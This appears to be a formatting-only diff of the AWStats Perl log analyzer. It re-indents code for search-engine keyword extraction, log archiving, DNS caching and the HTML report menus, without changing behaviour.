- $SearchEnginesHashID{$key
+ $SearchEnginesHashID{ $key
};
$found = 1;
}
# Extract params of referer query string (q=cache:mmm:www/zzz+aaa+bbb q=aaa+bbb/ccc key=ddd%20eee lang_en ie=UTF-8 ...)
if (
- $SearchEnginesKnownUrl{
- $tmprefererserver} )
+ $SearchEnginesKnownUrl{
+ $tmprefererserver} )
{ # Search engine with known URL syntax
foreach my $param (
- split(
- /&/,
- $KeyWordsNotSensitive
- ? lc( $refurl[1] )
- : $refurl[1]
- )
+ split(
+ /&/,
+ $KeyWordsNotSensitive
+ ? lc( $refurl[1] )
+ : $refurl[1]
+ )
)
{
if ( $param =~
}
}
elsif (
- $LevelForKeywordsDetection >= 2 )
+ $LevelForKeywordsDetection >= 2 )
{ # Search engine with unknown URL syntax
foreach my $param (
- split(
- /&/,
- $KeyWordsNotSensitive
- ? lc( $refurl[1] )
- : $refurl[1]
- )
+ split(
+ /&/,
+ $KeyWordsNotSensitive
+ ? lc( $refurl[1] )
+ : $refurl[1]
+ )
)
{
my $foundexcludeparam = 0;
foreach my $paramtoexclude (
- @WordsToCleanSearchUrl)
+ @WordsToCleanSearchUrl)
{
if ( $param =~
- /$paramtoexclude/i )
+ /$paramtoexclude/i )
{
$foundexcludeparam = 1;
last;
s/^(cache|related):[^\+]+//
; # Should be useless since this is for hit on 'not pages'
&ChangeWordSeparatorsIntoSpace(
- $param)
+ $param)
; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg ]
$param =~ s/^ +//;
$param =~ s/ +$//; # Trim
}
} # End of elsif refurl[1]
elsif (
- $SearchEnginesWithKeysNotInQuery{
- $tmprefererserver} )
+ $SearchEnginesWithKeysNotInQuery{
+ $tmprefererserver} )
{
# debug("xxx".$refurl[0]);
{
my $param = $1;
&ChangeWordSeparatorsIntoSpace(
- $param);
+ $param);
$param =~ tr/ /\+/s;
if ( ( length $param ) > 0 ) {
$_keyphrases{$param}++;
# We discard query for referer
if ( $field[$pos_referer] =~
- /$regreferernoquery/o )
+ /$regreferernoquery/o )
{
if ($PageBool) { $_pagesrefs_p{"$1"}++; }
$_pagesrefs_h{"$1"}++;
);
}
if ( $field[$pos_code] eq
- "$ExtraCodeFilter[$extranum][$condnum]" )
+ "$ExtraCodeFilter[$extranum][$condnum]" )
{
$conditionok = 1;
last;
);
}
if ( "$urlwithnoquery$tokenquery$standalonequery" =~
- /$conditiontypeval/ )
+ /$conditiontypeval/ )
{
$conditionok = 1;
last;
}
}
else {
- error( "Wrong value of parameter ExtraSectionCondition$extranum"
+ error(
+"Wrong value of parameter ExtraSectionCondition$extranum"
);
}
}
my $rowkeyval;
my $rowkeyok = 0;
foreach my $rowkeynum (
- 0 .. @{ $ExtraFirstColumnValuesType[$extranum] } - 1 )
+ 0 .. @{ $ExtraFirstColumnValuesType[$extranum] } - 1 )
{
my $rowkeytype =
$ExtraFirstColumnValuesType[$extranum][$rowkeynum];
}
elsif ( $rowkeytype eq 'URLWITHQUERY' ) {
if ( "$urlwithnoquery$tokenquery$standalonequery" =~
- /$rowkeytypeval/ )
+ /$rowkeytypeval/ )
{
$rowkeyval = "$1";
$rowkeyok = 1;
}
}
else {
- error( "Wrong value of parameter ExtraSectionFirstColumnValues$extranum"
+ error(
+"Wrong value of parameter ExtraSectionFirstColumnValues$extranum"
);
}
}
}
if ( $ExtraStatTypes[$extranum] =~ /L/i ) {
if ( ${ '_section_' . $extranum . '_l' }{$rowkeyval}
- || 0 < $timerecord )
+ || 0 < $timerecord )
{
${ '_section_' . $extranum . '_l' }{$rowkeyval} =
$timerecord;
# Check to avoid too large extra sections
if (
- scalar keys %{ '_section_' . $extranum . '_h' } >
- $ExtraTrackedRowsLimit )
+ scalar keys %{ '_section_' . $extranum . '_h' } >
+ $ExtraTrackedRowsLimit )
{
error(<<END_ERROR_TEXT);
The number of values found for extra section $extranum has grown too large.
if ( ++$counterforflushtest >= 20000 ) {
#if (++$counterforflushtest >= 1) {
- if ( ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 )
- || ( scalar keys %_url_p ) > $LIMITFLUSH )
+ if ( ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 )
+ || ( scalar keys %_url_p ) > $LIMITFLUSH )
{
# warning("Warning: Try to run AWStats update process more frequently to analyze smaler log files.");
. ( scalar keys %_waithost_u ) . "\n";
}
&Read_History_With_TmpUpdate(
- $lastprocessedyear,
- $lastprocessedmonth,
- $lastprocessedday,
- $lastprocessedhour,
- 1,
- 1,
- "all",
- ( $lastlinenb + $NbOfLinesParsed ),
- $lastlineoffset,
- &CheckSum($_)
+ $lastprocessedyear,
+ $lastprocessedmonth,
+ $lastprocessedday,
+ $lastprocessedhour,
+ 1,
+ 1,
+ "all",
+ ( $lastlinenb + $NbOfLinesParsed ),
+ $lastlineoffset,
+ &CheckSum($_)
);
&GetDelaySinceStart(1);
$NbOfLinesShowsteps = 1;
if ($Debug) {
debug(
- " _host_p:"
- . ( scalar keys %_host_p )
- . " _host_h:"
- . ( scalar keys %_host_h )
- . " _host_k:"
- . ( scalar keys %_host_k )
- . " _host_l:"
- . ( scalar keys %_host_l )
- . " _host_s:"
- . ( scalar keys %_host_s )
- . " _host_u:"
- . ( scalar keys %_host_u ) . "\n",
- 1
+ " _host_p:"
+ . ( scalar keys %_host_p )
+ . " _host_h:"
+ . ( scalar keys %_host_h )
+ . " _host_k:"
+ . ( scalar keys %_host_k )
+ . " _host_l:"
+ . ( scalar keys %_host_l )
+ . " _host_s:"
+ . ( scalar keys %_host_s )
+ . " _host_u:"
+ . ( scalar keys %_host_u ) . "\n",
+ 1
);
debug(
- " _url_p:"
- . ( scalar keys %_url_p )
- . " _url_k:"
- . ( scalar keys %_url_k )
- . " _url_e:"
- . ( scalar keys %_url_e )
- . " _url_x:"
- . ( scalar keys %_url_x ) . "\n",
- 1
+ " _url_p:"
+ . ( scalar keys %_url_p )
+ . " _url_k:"
+ . ( scalar keys %_url_k )
+ . " _url_e:"
+ . ( scalar keys %_url_e )
+ . " _url_x:"
+ . ( scalar keys %_url_x ) . "\n",
+ 1
);
debug(
- " _waithost_e:"
- . ( scalar keys %_waithost_e )
- . " _waithost_l:"
- . ( scalar keys %_waithost_l )
- . " _waithost_s:"
- . ( scalar keys %_waithost_s )
- . " _waithost_u:"
- . ( scalar keys %_waithost_u ) . "\n",
- 1
+ " _waithost_e:"
+ . ( scalar keys %_waithost_e )
+ . " _waithost_l:"
+ . ( scalar keys %_waithost_l )
+ . " _waithost_s:"
+ . ( scalar keys %_waithost_s )
+ . " _waithost_u:"
+ . ( scalar keys %_waithost_u ) . "\n",
+ 1
);
debug(
- "End of processing log file (AWStats memory cache is TmpDNSLookup="
- . ( scalar keys %TmpDNSLookup )
- . " TmpBrowser="
- . ( scalar keys %TmpBrowser )
- . " TmpOS="
- . ( scalar keys %TmpOS )
- . " TmpRefererServer="
- . ( scalar keys %TmpRefererServer )
- . " TmpRobot="
- . ( scalar keys %TmpRobot ) . ")",
- 1
+ "End of processing log file (AWStats memory cache is TmpDNSLookup="
+ . ( scalar keys %TmpDNSLookup )
+ . " TmpBrowser="
+ . ( scalar keys %TmpBrowser )
+ . " TmpOS="
+ . ( scalar keys %TmpOS )
+ . " TmpRefererServer="
+ . ( scalar keys %TmpRefererServer )
+ . " TmpRobot="
+ . ( scalar keys %TmpRobot ) . ")",
+ 1
);
}
. &Substitute_Tags($ArchiveLogRecords) . ".log";
}
open( LOG, "+<$LogFile" )
- || error( "Enable to archive log records of \"$LogFile\" into \"$ArchiveFileName\" because source can't be opened for read and write: $!<br />\n"
+ || error(
+"Enable to archive log records of \"$LogFile\" into \"$ArchiveFileName\" because source can't be opened for read and write: $!<br />\n"
);
}
else {
if ($Debug) { debug("Start of archiving log file"); }
open( ARCHIVELOG, ">>$ArchiveFileName" )
|| error(
- "Couldn't open file \"$ArchiveFileName\" to archive log: $!");
+ "Couldn't open file \"$ArchiveFileName\" to archive log: $!");
binmode ARCHIVELOG;
while (<LOG>) {
if ( !print ARCHIVELOG $_ ) { $archiveok = 0; last; }
my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>' : '' );
my $br = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' );
truncate( LOG, 0 )
- || warning("Warning: $bold$PROG$unbold couldn't purge logfile \"$bold$LogFile$unbold\".$br\nChange your logfile permissions to allow write for your web server CGI process or change PurgeLogFile=1 into PurgeLogFile=0 in configure file and think to purge sometimes manually your logfile (just after running an update process to not loose any not already processed records your log file contains)."
+ || warning(
+"Warning: $bold$PROG$unbold couldn't purge logfile \"$bold$LogFile$unbold\".$br\nChange your logfile permissions to allow write for your web server CGI process or change PurgeLogFile=1 into PurgeLogFile=0 in configure file and think to purge sometimes manually your logfile (just after running an update process to not loose any not already processed records your log file contains)."
);
}
close(LOG);
my $bold = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>' : '' );
my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>' : '' );
my $br = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' );
- warning( "Warning: $bold$PROG$unbold has detected that some hosts names were already resolved in your logfile $bold$DNSLookupAlreadyDone$unbold.$br\nIf DNS lookup was already made by the logger (web server), you should change your setup DNSLookup=$DNSLookup into DNSLookup=0 to increase $PROG speed."
+ warning(
+"Warning: $bold$PROG$unbold has detected that some hosts names were already resolved in your logfile $bold$DNSLookupAlreadyDone$unbold.$br\nIf DNS lookup was already made by the logger (web server), you should change your setup DNSLookup=$DNSLookup into DNSLookup=0 to increase $PROG speed."
);
}
if ( $DNSLookup == 1 && $NbOfNewLines ) {
# Save new DNS last update cache file
Save_DNS_Cache_File( \%TmpDNSLookup, "$DirData/$DNSLastUpdateCacheFile",
- "$FileSuffix" ); # Save into file using FileSuffix
+ "$FileSuffix" ); # Save into file using FileSuffix
}
if ($EnableLockForUpdate) {
&Lock_Update(0);
# Restore signals handler
- $SIG{INT} = 'DEFAULT'; # 2
- #$SIG{KILL} = 'DEFAULT'; # 9
- #$SIG{TERM} = 'DEFAULT'; # 15
+ $SIG{INT} = 'DEFAULT'; # 2
+ #$SIG{KILL} = 'DEFAULT'; # 9
+ #$SIG{TERM} = 'DEFAULT'; # 15
}
}
$NewLinkTarget = " target=\"awstatsbis\"";
}
if ( ( $FrameName eq 'mainleft' || $FrameName eq 'mainright' )
- && $DetailedReportsOnNewWindows < 2 )
+ && $DetailedReportsOnNewWindows < 2 )
{
$NewLinkParams .= "&framename=mainright";
$NewLinkTarget = " target=\"mainright\"";
$stringforload = 'all'; # Read full history file
}
elsif ( ( $HTMLOutput{'main'} && $ShowMonthStats )
- || $HTMLOutput{'alldays'} )
+ || $HTMLOutput{'alldays'} )
{
$stringforload =
'general time'; # Read general and time sections.
# On charge fichier
&Read_History_With_TmpUpdate( $YearRequired, $monthix, '',
- '', 0, 0, $stringforload );
+ '', 0, 0, $stringforload );
}
}
}
my $monthix = sprintf( "%02s", $MonthRequired );
my $dayix = sprintf( "%02s", $DayRequired );
&Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix, '',
- 0, 0, $stringforload );
+ 0, 0, $stringforload );
}
if ( $DatabaseBreak eq 'hour' ) {
my $stringforload = 'all';
my $dayix = sprintf( "%02s", $DayRequired );
my $hourix = sprintf( "%02s", $HourRequired );
&Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix,
- $hourix, 0, 0, $stringforload );
+ $hourix, 0, 0, $stringforload );
}
}
foreach ( 1 .. 12 ) {
my $monthix = sprintf( "%02s", $_ );
print "<option"
- . ( "$MonthRequired" eq "$monthix"
- ? " selected=\"true\""
- : "" )
+ . (
+ "$MonthRequired" eq "$monthix"
+ ? " selected=\"true\""
+ : ""
+ )
. " value=\"$monthix\">$MonthNumLib{$monthix}</option>\n";
}
if ( $AllowFullYearView >= 2 ) {
# Print menu links
if ( ( $HTMLOutput{'main'} && $FrameName ne 'mainright' )
- || $FrameName eq 'mainleft' )
+ || $FrameName eq 'mainleft' )
{ # If main page asked
# Define link anchor
my $linkanchor =
my $menuicon = 0; # TODO a virer
# Menu HTML
print "<table"
- . ( $frame
- ? " cellspacing=\"0\" cellpadding=\"0\" border=\"0\""
- : "" )
+ . (
+ $frame
+ ? " cellspacing=\"0\" cellpadding=\"0\" border=\"0\""
+ : ""
+ )
. ">\n";
if ( $FrameName eq 'mainleft' && $ShowMonthStats ) {
print( $frame? "<tr><td class=\"awsm\">" : "" );
# When
%menu = (
- 'month' => $ShowMonthStats ? 1 : 0,
- 'daysofmonth' => $ShowDaysOfMonthStats ? 2 : 0,
- 'daysofweek' => $ShowDaysOfWeekStats ? 3 : 0,
- 'hours' => $ShowHoursStats ? 4 : 0
+ 'month' => $ShowMonthStats ? 1 : 0,
+ 'daysofmonth' => $ShowDaysOfMonthStats ? 2 : 0,
+ 'daysofweek' => $ShowDaysOfWeekStats ? 3 : 0,
+ 'hours' => $ShowHoursStats ? 4 : 0
);
%menulink = (
- 'month' => 1,
- 'daysofmonth' => 1,
- 'daysofweek' => 1,
- 'hours' => 1
+ 'month' => 1,
+ 'daysofmonth' => 1,
+ 'daysofweek' => 1,
+ 'hours' => 1
);
%menutext = (
- 'month' => $Message[162],
- 'daysofmonth' => $Message[138],
- 'daysofweek' => $Message[91],
- 'hours' => $Message[20]
+ 'month' => $Message[162],
+ 'daysofmonth' => $Message[138],
+ 'daysofweek' => $Message[91],
+ 'hours' => $Message[20]
);
ShowMenuCateg(
- 'when', $Message[93],
- 'menu4.png', $frame,
- $targetpage, $linkanchor,
- $NewLinkParams, $NewLinkTarget,
- \%menu, \%menulink,
- \%menutext
+ 'when', $Message[93],
+ 'menu4.png', $frame,
+ $targetpage, $linkanchor,
+ $NewLinkParams, $NewLinkTarget,
+ \%menu, \%menulink,
+ \%menutext
);
# Who
'worms' => $ShowWormsStats ? 19 : 0
);
%menulink = (
- 'countries' => 1,
- 'alldomains' => 2,
- 'visitors' => 1,
- 'allhosts' => 2,
- 'lasthosts' => 2,
- 'unknownip' => 2,
- 'logins' => 1,
- 'alllogins' => 2,
- 'lastlogins' => 2,
- 'emailsenders' => 1,
- 'allemails' => 2,
- 'lastemails' => 2,
- 'emailreceivers' => 1,
- 'allemailr' => 2,
- 'lastemailr' => 2,
- 'robots' => 1,
- 'allrobots' => 2,
- 'lastrobots' => 2,
- 'worms' => 1
+ 'countries' => 1,
+ 'alldomains' => 2,
+ 'visitors' => 1,
+ 'allhosts' => 2,
+ 'lasthosts' => 2,
+ 'unknownip' => 2,
+ 'logins' => 1,
+ 'alllogins' => 2,
+ 'lastlogins' => 2,
+ 'emailsenders' => 1,
+ 'allemails' => 2,
+ 'lastemails' => 2,
+ 'emailreceivers' => 1,
+ 'allemailr' => 2,
+ 'lastemailr' => 2,
+ 'robots' => 1,
+ 'allrobots' => 2,
+ 'lastrobots' => 2,
+ 'worms' => 1
);
%menutext = (
- 'countries' => $Message[148],
- 'alldomains' => $Message[80],
- 'visitors' => $Message[81],
- 'allhosts' => $Message[80],
- 'lasthosts' => $Message[9],
- 'unknownip' => $Message[45],
- 'logins' => $Message[94],
- 'alllogins' => $Message[80],
- 'lastlogins' => $Message[9],
- 'emailsenders' => $Message[131],
- 'allemails' => $Message[80],
- 'lastemails' => $Message[9],
- 'emailreceivers' => $Message[132],
- 'allemailr' => $Message[80],
- 'lastemailr' => $Message[9],
- 'robots' => $Message[53],
- 'allrobots' => $Message[80],
- 'lastrobots' => $Message[9],
- 'worms' => $Message[136]
+ 'countries' => $Message[148],
+ 'alldomains' => $Message[80],
+ 'visitors' => $Message[81],
+ 'allhosts' => $Message[80],
+ 'lasthosts' => $Message[9],
+ 'unknownip' => $Message[45],
+ 'logins' => $Message[94],
+ 'alllogins' => $Message[80],
+ 'lastlogins' => $Message[9],
+ 'emailsenders' => $Message[131],
+ 'allemails' => $Message[80],
+ 'lastemails' => $Message[9],
+ 'emailreceivers' => $Message[132],
+ 'allemailr' => $Message[80],
+ 'lastemailr' => $Message[9],
+ 'robots' => $Message[53],
+ 'allrobots' => $Message[80],
+ 'lastrobots' => $Message[9],
+ 'worms' => $Message[136]
);
ShowMenuCateg(
- 'who', $Message[92],
- 'menu5.png', $frame,
- $targetpage, $linkanchor,
- $NewLinkParams, $NewLinkTarget,
- \%menu, \%menulink,
- \%menutext
+ 'who', $Message[92],
+ 'menu5.png', $frame,
+ $targetpage, $linkanchor,
+ $NewLinkParams, $NewLinkTarget,
+ \%menu, \%menulink,
+ \%menutext
);
# Navigation
$linetitle = &AtLeastOneNotNull(
- $ShowSessionsStats,
- $ShowPagesStats,
- $ShowFileTypesStats,
- $ShowFileSizesStats,
- $ShowOSStats,
- $ShowBrowsersStats,
- $ShowScreenSizeStats
+ $ShowSessionsStats, $ShowPagesStats,
+ $ShowFileTypesStats, $ShowFileSizesStats,
+ $ShowOSStats, $ShowBrowsersStats,
+ $ShowScreenSizeStats
);
if ($linetitle) {
print "<tr><td class=\"awsm\""
. ( $frame ? "" : " valign=\"top\"" ) . ">"
- . ( $menuicon
- ? "<img src=\"$DirIcons/other/menu2.png\" /> "
- : "" )
+ . (
+ $menuicon
+ ? "<img src=\"$DirIcons/other/menu2.png\" /> "
+ : ""
+ )
. "<b>$Message[72]:</b></td>\n";
}
if ($linetitle) {
if ($ShowPagesStats) {
print( $frame
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
- : "" );
+ : ""
+ );
print "<a href=\""
. (
- $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
- ? XMLEncode(
- "$AWScript?${NewLinkParams}output=urldetail")
- : "$PROG$StaticLinks.urldetail.$StaticExt"
+ $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
+ ? XMLEncode(
+ "$AWScript?${NewLinkParams}output=urldetail")
+ : "$PROG$StaticLinks.urldetail.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a>\n";
print( $frame? "</td></tr>\n" : " " );
if ( $ShowPagesStats =~ /E/i ) {
print( $frame
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
- : "" );
+ : ""
+ );
print "<a href=\""
. (
- $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
- ? XMLEncode(
- "$AWScript?${NewLinkParams}output=urlentry")
- : "$PROG$StaticLinks.urlentry.$StaticExt"
+ $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
+ ? XMLEncode(
+ "$AWScript?${NewLinkParams}output=urlentry")
+ : "$PROG$StaticLinks.urlentry.$StaticExt"
)
. "\"$NewLinkTarget>$Message[104]</a>\n";
print( $frame? "</td></tr>\n" : " " );
if ( $ShowPagesStats =~ /X/i ) {
print( $frame
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
- : "" );
+ : ""
+ );
print "<a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=urlexit")
- : "$PROG$StaticLinks.urlexit.$StaticExt" )
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=urlexit")
+ : "$PROG$StaticLinks.urlexit.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[116]</a>\n";
print( $frame? "</td></tr>\n" : " " );
}
if ($ShowOSStats) {
print( $frame
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
- : "" );
+ : ""
+ );
print "<a href=\""
. (
- $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
- ? XMLEncode(
- "$AWScript?${NewLinkParams}output=osdetail")
- : "$PROG$StaticLinks.osdetail.$StaticExt"
+ $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
+ ? XMLEncode(
+ "$AWScript?${NewLinkParams}output=osdetail")
+ : "$PROG$StaticLinks.osdetail.$StaticExt"
)
. "\"$NewLinkTarget>$Message[58]</a>\n";
print( $frame? "</td></tr>\n" : " " );
if ($ShowOSStats) {
print( $frame
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
- : "" );
+ : ""
+ );
print "<a href=\""
. (
- $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
- ? XMLEncode(
- "$AWScript?${NewLinkParams}output=unknownos")
- : "$PROG$StaticLinks.unknownos.$StaticExt"
+ $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
+ ? XMLEncode(
+ "$AWScript?${NewLinkParams}output=unknownos")
+ : "$PROG$StaticLinks.unknownos.$StaticExt"
)
. "\"$NewLinkTarget>$Message[0]</a>\n";
print( $frame? "</td></tr>\n" : " " );
if ($ShowBrowsersStats) {
print( $frame
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
- : "" );
+ : ""
+ );
print "<a href=\""
. (
- $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
- ? XMLEncode(
- "$AWScript?${NewLinkParams}output=browserdetail")
- : "$PROG$StaticLinks.browserdetail.$StaticExt"
+ $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
+ ? XMLEncode(
+ "$AWScript?${NewLinkParams}output=browserdetail")
+ : "$PROG$StaticLinks.browserdetail.$StaticExt"
)
. "\"$NewLinkTarget>$Message[58]</a>\n";
print( $frame? "</td></tr>\n" : " " );
if ($ShowBrowsersStats) {
print( $frame
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
- : "" );
+ : ""
+ );
print "<a href=\""
. (
- $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
- ? XMLEncode(
- "$AWScript?${NewLinkParams}output=unknownbrowser")
- : "$PROG$StaticLinks.unknownbrowser.$StaticExt"
+ $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
+ ? XMLEncode(
+ "$AWScript?${NewLinkParams}output=unknownbrowser")
+ : "$PROG$StaticLinks.unknownbrowser.$StaticExt"
)
. "\"$NewLinkTarget>$Message[0]</a>\n";
print( $frame? "</td></tr>\n" : " " );
# Referers
%menu = (
- 'referer' => $ShowOriginStats ? 1 : 0,
- 'refererse' => $ShowOriginStats ? 2 : 0,
- 'refererpages' => $ShowOriginStats ? 3 : 0,
- 'keys' => ( $ShowKeyphrasesStats || $ShowKeywordsStats )
- ? 4
- : 0,
- 'keyphrases' => $ShowKeyphrasesStats ? 5 : 0,
- 'keywords' => $ShowKeywordsStats ? 6 : 0
+ 'referer' => $ShowOriginStats ? 1 : 0,
+ 'refererse' => $ShowOriginStats ? 2 : 0,
+ 'refererpages' => $ShowOriginStats ? 3 : 0,
+ 'keys' => ( $ShowKeyphrasesStats || $ShowKeywordsStats )
+ ? 4
+ : 0,
+ 'keyphrases' => $ShowKeyphrasesStats ? 5 : 0,
+ 'keywords' => $ShowKeywordsStats ? 6 : 0
);
%menulink = (
- 'referer' => 1,
- 'refererse' => 2,
- 'refererpages' => 2,
- 'keys' => 1,
- 'keyphrases' => 2,
- 'keywords' => 2
+ 'referer' => 1,
+ 'refererse' => 2,
+ 'refererpages' => 2,
+ 'keys' => 1,
+ 'keyphrases' => 2,
+ 'keywords' => 2
);
%menutext = (
- 'referer' => $Message[37],
- 'refererse' => $Message[126],
- 'refererpages' => $Message[127],
- 'keys' => $Message[14],
- 'keyphrases' => $Message[120],
- 'keywords' => $Message[121]
+ 'referer' => $Message[37],
+ 'refererse' => $Message[126],
+ 'refererpages' => $Message[127],
+ 'keys' => $Message[14],
+ 'keyphrases' => $Message[120],
+ 'keywords' => $Message[121]
);
ShowMenuCateg(
- 'referers', $Message[23],
- 'menu7.png', $frame,
- $targetpage, $linkanchor,
- $NewLinkParams, $NewLinkTarget,
- \%menu, \%menulink,
- \%menutext
+ 'referers', $Message[23],
+ 'menu7.png', $frame,
+ $targetpage, $linkanchor,
+ $NewLinkParams, $NewLinkTarget,
+ \%menu, \%menulink,
+ \%menutext
);
# Others
'clusters' => $ShowClusterStats ? 5 : 0
);
%menulink = (
- 'filetypes' => 1,
- 'misc' => 1,
- 'errors' => 1,
- 'clusters' => 1
+ 'filetypes' => 1,
+ 'misc' => 1,
+ 'errors' => 1,
+ 'clusters' => 1
);
%menutext = (
- 'filetypes' => $Message[98],
- 'misc' => $Message[139],
- 'errors' =>
- ( $ShowSMTPErrorsStats ? $Message[147] : $Message[32] ),
- 'clusters' => $Message[155]
+ 'filetypes' => $Message[98],
+ 'misc' => $Message[139],
+ 'errors' =>
+ ( $ShowSMTPErrorsStats ? $Message[147] : $Message[32] ),
+ 'clusters' => $Message[155]
);
foreach ( keys %TrapInfosForHTTPErrorCodes ) {
$menu{"errors$_"} = $ShowHTTPErrorsStats ? 4 : 0;
$menutext{"errors$_"} = $Message[31];
}
ShowMenuCateg(
- 'others', $Message[2],
- 'menu8.png', $frame,
- $targetpage, $linkanchor,
- $NewLinkParams, $NewLinkTarget,
- \%menu, \%menulink,
- \%menutext
+ 'others', $Message[2],
+ 'menu8.png', $frame,
+ $targetpage, $linkanchor,
+ $NewLinkParams, $NewLinkTarget,
+ \%menu, \%menulink,
+ \%menutext
);
# Extra/Marketing
%menu = ();
%menulink = ();
%menutext = ();
- my $i=1;
+ my $i = 1;
foreach ( 1 .. @ExtraName - 1 ) {
$menu{"extra$_"} = $i++;
$menulink{"extra$_"} = 1;
$menutext{"allextra$_"} = $Message[80];
}
ShowMenuCateg(
- 'extra', $Message[134],
- '', $frame,
- $targetpage, $linkanchor,
- $NewLinkParams, $NewLinkTarget,
- \%menu, \%menulink,
- \%menutext
+ 'extra', $Message[134],
+ '', $frame,
+ $targetpage, $linkanchor,
+ $NewLinkParams, $NewLinkTarget,
+ \%menu, \%menulink,
+ \%menutext
);
print "</table>\n";
}
$NewLinkParams =~ s/(&|&)+/&/i;
$NewLinkParams =~ s/^&//;
$NewLinkParams =~ s/&$//;
- if ( !$DetailedReportsOnNewWindows
- || $FrameName eq 'mainright'
- || $QueryString =~ /buildpdf/i )
+ if ( !$DetailedReportsOnNewWindows
+ || $FrameName eq 'mainright'
+ || $QueryString =~ /buildpdf/i )
{
print "<tr><td class=\"aws\"><a href=\""
. (
- $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode(
- "$AWScript"
- . ( ${NewLinkParams} ? "?${NewLinkParams}" : "" )
- )
- : "$PROG$StaticLinks.$StaticExt"
+ $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
+ ? XMLEncode(
+ "$AWScript"
+ . ( ${NewLinkParams} ? "?${NewLinkParams}" : "" )
+ )
+ : "$PROG$StaticLinks.$StaticExt"
)
. "\">$Message[76]</a></td></tr>\n";
}
if ( $key =~ /^$YearRequired$MonthRequired/ ) { $keyqualified = 1; }
if ($keyqualified) {
if ( $FirstTime{$key}
- && ( $FirstTime == 0 || $FirstTime > $FirstTime{$key} ) )
+ && ( $FirstTime == 0 || $FirstTime > $FirstTime{$key} ) )
{
$FirstTime = $FirstTime{$key};
}
. "0101"; # Set day cursor to 1st day of the required year
}
if ( ( $MonthRequired ne $nowmonth && $MonthRequired ne 'all' )
- || $YearRequired ne $nowyear )
+ || $YearRequired ne $nowyear )
{
if ( $MonthRequired eq 'all' ) {
$firstdaytocountaverage =
&tab_head( "$title", 19, 0, 'domains' );
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th colspan=\"2\">$Message[17]</th>";
- if ( $ShowDomainsStats =~ /U/i ) {
- print "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>";
- }
- if ( $ShowDomainsStats =~ /V/i ) {
- print "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>";
- }
+ if ( $ShowDomainsStats =~ /U/i ) {
+ print
+ "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>";
+ }
+ if ( $ShowDomainsStats =~ /V/i ) {
+ print
+ "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>";
+ }
if ( $ShowDomainsStats =~ /P/i ) {
print
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
}
my $count = 0;
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_domener_h,
- \%_domener_p );
+ \%_domener_p );
foreach my $key (@keylist) {
my ( $_domener_u, $_domener_v );
my $bredde_p = 0;
}
## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE
if ( $ShowDomainsStats =~ /U/i ) {
- $_domener_u =
- ( $_domener_p{$key}
+ $_domener_u = (
+ $_domener_p{$key}
? $_domener_p{$key} / $TotalPages
- : 0 );
+ : 0
+ );
$_domener_u += ( $_domener_h{$key} / $TotalHits );
$_domener_u =
sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 );
. ")</td>";
}
if ( $ShowDomainsStats =~ /V/i ) {
- $_domener_v =
- ( $_domener_p{$key}
+ $_domener_v = (
+ $_domener_p{$key}
? $_domener_p{$key} / $TotalPages
- : 0 );
+ : 0
+ );
$_domener_v += ( $_domener_h{$key} / $TotalHits );
$_domener_v =
sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 );
print
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\""
. AltTitle(
- "$Message[75]: " . Format_Bytes( $_domener_k{$key} ) )
+ "$Message[75]: " . Format_Bytes( $_domener_k{$key} ) )
. " />";
}
print "</td>";
